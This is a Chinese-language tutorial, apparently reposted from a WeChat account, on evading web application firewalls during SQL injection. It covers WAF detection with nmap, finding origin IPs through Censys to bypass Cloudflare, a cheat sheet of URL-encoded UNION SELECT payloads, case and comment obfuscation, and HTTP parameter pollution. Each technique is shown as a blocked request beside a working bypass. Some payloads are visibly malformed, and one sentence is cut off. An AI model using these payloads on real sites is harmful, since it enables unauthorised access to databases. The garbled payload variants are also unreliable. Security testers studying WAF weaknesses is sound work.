在网络安全领域,了解漏洞和防御措施对于网络安全专业人员/道德黑客至关重要。Web 应用程序防火墙 (WAF) 是抵御 SQL 注入等威胁的前线防御措施。本文深入探讨了 SQL 注入漏洞,并概述了绕过 WAF 保护的技术,为道德黑客和安全评估提供了有价值的见解。
被waf阻止
了解 SQL 注入:
当攻击者操纵 Web 应用程序的输入字段(例如 URL 参数)以执行未经授权的 SQL 查询时,就会发生 SQL 注入。一种常见的方法是基于 union 的 SQL 注入,攻击者使用 UNION SQL 运算符来组合两个或多个查询的结果。这可能导致未经授权访问敏感数据、数据操作,甚至完全破坏系统。
WAF 及其作用:
Web 应用程序防火墙旨在检查 HTTP 请求并过滤掉恶意流量。他们利用多种技术,包括:
-
识别已知的攻击模式。
-
监视异常的用户行为。
注意:我们还可以使用 SQL map,它是自动化 SQL 注入攻击(包括绕过 WAF)的强大工具。但是,请务必注意 SQLMap 可能并不总是有效的。在这种情况下,可能需要手动技术来制作自定义有效载荷并有效绕过安全措施。
绕过 WAF 的技术:
检测 WAF:
有许多工具和脚本可以检测和识别 Web 应用程序(如 NMAP)、检查响应标头、检查响应正文上是否存在 WAF。
这里我们将使用 NMAP 来检测 WAF ,只需启动 nmap>select脚本并粘贴以下命令,它就会检测到它。
nmap -p80 --script http-waf-detect <URL>
完成分析后,我们将结合这些技术来开发更复杂的方法来绕过 WAF 保护。
1. 通过源站 IP 发现绕过 WAF :
绕过 WAF 保护的一种有效方法是发现网站的源 IP 地址。实现这一目标的一种方法是使用 Censys,这是一个适用于 Internet 连接设备的强大搜索引擎。通过查询 Censys,您可以发现受 WAF 保护的站点(如 Cloudflare)的底层 IP 地址,这可以帮助您绕过 Cloudflare 的防御,直接访问服务器。
使用搜索栏输入与目标网站相关的查询。获得 IP 地址后,您可以按域名搜索,您可以通过有效绕过 Cloudflare (WAF) 的防御并与没有保护层的网站交互来直接访问服务器。
2. 通过对 SQL 查询进行 URL 编码来绕过 WAF:
对 SQL 负载进行编码涉及将标准 SQL 注入字符串转换为可以逃避 WAF 检测的格式。通过对恶意内容进行编码,攻击者可以在不触发安全警报的情况下利用漏洞。
URL 编码的一些示例包括:
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%74
考虑一个简单的 SQL 注入尝试:
示例 # 1 (被阻止)
http://www.example.com/page.php?id=90'union select 1,2,3,4,5,6,7,8,9,10
示例 # 1(通过 URL 编码绕过)
http://www.example.com/page.php?id=.90'unio%6e selec%74 1,2,3,4,5,6,7,8,9,10%
示例 # 2 (被阻止)
http://example.com/page?id=1' OR '1'='1
示例 # 2 (通过 URL 编码绕过)
http://example.com/page?id=1%27%20OR%20%271%27%3D%271
3. 通过混淆 SQL 查询绕过 WAF:
SQL 查询混淆涉及修改标准 SQL 命令,使其难以识别或理解,同时仍保留其功能。目标是规避检测机制,例如 WAF 或入侵检测系统,这些机制依赖于识别与 SQL 注入攻击相关的特定模式。通过混淆查询,攻击者可能会绕过安全措施并在数据库上执行未经授权的命令。
示例 # 1(被阻止)
http://www.example.com/page.php?id=90'union select 1,2,3,4,5,6,7,8,9,10
示例 # 1(通过混淆 Query 绕过)
http://www.example.com/page.php?id=90'UnIoN sElEcT 1,2,3,4,5,6,7,8,9,10
注意:在许多情况下,使用下面概述的方法成功地绕过了 WAF 保护。
示例 # 2(被阻止)
http://www.example.com/page.php?id=90 'union select 1,2,3,4,5,6,7,8,9,10
示例 # 2 (通过混淆 Query 绕过)
http://www.example.com/page.php?id=90 ‘/*!UnIon/*trick-comment*/*/ sElect 1,2,3,4,5,6,7,8,9,10 — -.
4. 绕过 WAF:通过 HTTP 参数污染注入 SQL
HTTP 参数污染是指攻击者在 HTTP 请求中添加同一参数的多个实例。这样,我们可以 绕过 输入验证 ,从而导致意外行为。通过利用 HPP,攻击者可以引入恶意 SQL 命令,应用程序可能会无意中执行这些命令。
示例 # 1(被阻止)
http://example.com/user?id=12' Union select 1,2,3,4,5,6,7-- -
示例 # 1(被 HTTP 参数污染绕过)
http://example.com/user?id=1&id=1'union select 1,2,3,4,5,6,7-- -
在这种情况下,攻击者添加了包含 UNION SELECT 语句的第二个 id
参数。这种巧妙的操作可能会让许多开发人员措手不及,尤其是当他们认为输入验证足够健壮以处理此类情况时。如果应用程序在没有正确验证的情况下处理此请求。
原文始发于微信公众号(赛哈文):WAF 绕过技术:如何像专业人士一样利用 SQL 注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论